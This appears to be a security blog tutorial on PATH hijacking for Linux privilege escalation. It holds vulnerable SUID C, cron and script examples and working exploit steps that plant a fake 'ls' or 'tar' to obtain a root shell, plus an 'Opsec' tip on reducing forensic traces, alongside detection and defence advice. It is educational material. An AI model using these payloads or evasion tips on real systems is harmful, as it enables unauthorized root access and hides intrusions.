Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
When a program calls another program by name rather than by full path — system("ls") instead of system("/bin/ls"), or a shell script’s bare gcc foo.c instead of /usr/bin/gcc foo.c — the operating system has to decide *which* binary that name refers to. It does so by walking the directories listed in the PATH environment variable, in order, and running the first executable match it finds. PATH is just another piece of environment state, inherited from whatever shell or process launched the program, which means it is attacker-controllable in exactly the situations where it matters most: SUID/SGID binaries, cron jobs, and sudo-invoked scripts that call out to unqualified command names while running with elevated privileges.
PATH hijacking exploits that trust gap directly. If an attacker can either modify the PATH a privileged process inherits, or write into a directory that already sits earlier in that PATH than the real binary’s directory, they can plant a file with the same name as a command the privileged process calls. The next time that process runs, it executes the attacker’s file instead of the legitimate one — with whatever privilege the process already had. It is one of the simplest privilege-escalation primitives to understand and one of the most persistent to find in the wild, because “just call the command by name” is idiomatic, readable shell scripting that nobody thinks twice about until it runs as root.
Attack Prerequisites
PATH hijacking needs a privileged process that resolves a command by name, plus some way to influence what that resolution finds:
- A privileged script, cron job, or SUID/SGID binary that invokes an external command by relative/unqualified name (via
system(),popen(), backticks, or a bare word in a shell script) rather than an absolute path. - Either control over the
PATHthe privileged process inherits (common for cron jobs with weakPATHsettings, orsudorules withoutsecure_path), or write access to a directory that appears before the legitimate binary’s directory in whateverPATHis already in effect. - Knowledge of which command name(s) the target actually calls — obtained via
strings, disassembly,strace -f -e trace=execve,exec, or simply reading the script if it’s world-readable. - Execute access to trigger the privileged process (waiting for a cron job, invoking a
sudo-permitted script, or running a discovered SUID binary).
How It Works
Command resolution for unqualified names is a shell/libc-level convenience, not a security boundary. When execvp() (or a shell) is given a name containing no /, it splits PATH on : and tries each directory in order, executing the first regular, executable file it finds with that name — then stops. There is no signature check, no ownership check, and no verification that the resolved file is “the one the developer meant.” The entire security property being assumed — that ls means /bin/ls — depends wholly on PATH containing only trusted, non-writable directories in the expected order, an assumption that quietly breaks the moment PATH is attacker-influenced or a writable directory is placed ahead of the system directories.
For SUID/SGID binaries specifically, the kernel already strips some dangerous inherited environment variables (like LD_PRELOAD) at execve() time via AT_SECURE, but PATH is not one of them — a SUID binary still inherits the caller’s PATH verbatim unless the program explicitly resets it itself. A SUID C program that calls system("somecommand") hands execution off to /bin/sh -c somecommand, and that shell resolves somecommand using the *inherited, attacker-controlled* PATH — while the resulting child process still runs with the SUID binary’s effective UID.
Cron jobs are the other classic victim, for a subtly different reason: many cron daemons run jobs with a deliberately minimal PATH (often just /usr/bin:/bin) defined in /etc/crontab or the crontab header itself — but if a script referenced by cron itself calls a *further* command by relative name and something upstream (a wrapper, a sourced profile, or an administrator override) prepends a writable directory to that PATH, the same resolution hijack applies, now running as whatever user owns the cron job — frequently root.
Vulnerable Code / Configuration
The bug is a SUID (or root-cron) program calling an external command without an absolute path. Here is the canonical vulnerable pattern in C, compiled SUID root:
// vuln.c -- compiled: gcc -o /usr/local/bin/vuln vuln.c; chmod 4755 vuln
#include <stdlib.h>
int main() {
setuid(0); setgid(0); // already SUID root at this point
system("ls -la /var/backups"); // VULNERABLE: relative command name
return 0;
}
CThe equally common shell-script version, often installed as a root cron job or a sudo-permitted maintenance script — the relative call to tar is the bug:
#!/bin/bash
# /opt/maint/backup.sh -- run nightly as root via crontab
cd /var/www
tar czf /backups/site-$(date +%F).tgz . # VULNERABLE: relative 'tar'
BashAnd the root crontab entry that runs it, without ever pinning PATH to a safe, fixed value ahead of the writable-directory problem:
# /etc/crontab -- VULNERABLE: PATH includes an attacker-writable directory
PATH=/home/dave/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin
0 2 * * * root /opt/maint/backup.sh
TEXTWalkthrough / Exploitation
Identify a candidate SUID binary and confirm it calls out to unqualified commands. strings combined with a grep for bare lowercase words is a fast first pass; strace against a live invocation is more reliable:
find / -perm -4000 -type f 2>/dev/null # enumerate SUID binaries
strings /usr/local/bin/vuln | grep -E '^[a-z][a-z0-9_-]*$'
strace -f -e trace=execve /usr/local/bin/vuln 2>&1 | grep exec
# execve("/bin/sh", ["sh", "-c", "ls -la /var/backups"], ...)
# -> confirms 'ls' is resolved via PATH inside the SUID process
BashPlant a malicious replacement for the hijacked command name in a writable directory, then prepend that directory to PATH before invoking the vulnerable binary:
mkdir -p /tmp/evil
cat > /tmp/evil/ls <<'EOF'
#!/bin/bash
chmod u+s /bin/bash # or: exec /bin/bash -p
EOF
chmod +x /tmp/evil/ls
export PATH=/tmp/evil:$PATH
/usr/local/bin/vuln
/bin/bash -p
id
# uid=0(root) gid=0(root) ...
BashFor the cron variant, the exploit is identical in spirit but the writable directory is whatever earlier PATH entry the crontab itself exposes — planting a malicious tar there is sufficient and requires no interaction, only waiting for the schedule to fire:
cat > /home/dave/bin/tar <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
EOF
chmod +x /home/dave/bin/tar
# wait for cron to run backup.sh as root at 02:00
/tmp/rootbash -p
BashNote: This is a distinct bug class from
sudo‘ssecure_pathbypass and fromLD_PRELOADabuse — those target the dynamic linker or environment passthrough directly, while PATH hijacking targets command *resolution*. Asudorule can be perfectly hardened againstLD_PRELOADand still be vulnerable to this ifsecure_pathis unset and the invoked script calls further commands by relative name.
Opsec: Files created or modified in the hijack directory, plus the resulting SUID bit changes or new root-owned processes, are visible to file-integrity monitoring and
auditdexecve/chmodwatch rules. Removing the planted binary from the writable directory immediately after confirming root, and avoiding the noisierchmod u+s /bin/bashin favor of a private copy at a less conspicuous path, reduces the forensic footprint.
Detection and Defense
The fix is always the same: never trust command resolution in a privileged context.
- Call every external command by absolute path (
/bin/ls, notls) in any SUID/SGID binary, root cron job, orsudo-permitted script. - Reset
PATHexplicitly at the top of privileged scripts (PATH=/usr/bin:/bin; export PATH) rather than trusting the inherited value. - Set
Defaults secure_pathinsudoerssosudooverrides the invoking user’sPATHwith a fixed, trusted value for every sudo’d command. - Avoid
system()/popen()with unqualified names in SUID/SGID C programs; preferexecve()with a hardcoded absolute path and a minimal, explicit environment. - Audit writable directories that appear in root’s or cron’s
PATH—echo $PATHas root, and grep/etc/crontab//etc/cron.d/*forPATH=lines pointing at user-writable locations.
Real-World Impact
PATH hijacking of SUID binaries and root cron/sudo scripts is a staple finding in local privilege escalation checklists (linpeas/linenum-style enumeration explicitly flags writable PATH directories and SUID binaries invoking relative commands) and appears constantly in OSCP-style exam boxes and CTFs precisely because it requires no compiler exploit, no kernel bug — only careless scripting. GTFOBins-style writeups of custom SUID wrappers almost always reduce to this same relative-execution weakness once the binary is reverse engineered.
Conclusion
PATH trust is a subtle but extremely reliable escalation vector precisely because command resolution by name is the default, idiomatic way to write shell code — the vulnerability is an omission, not a mistake anyone notices while writing it. Absolute paths in every privileged script and SUID binary, an explicitly reset PATH, and secure_path in sudoers eliminate the entire class at essentially no cost.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments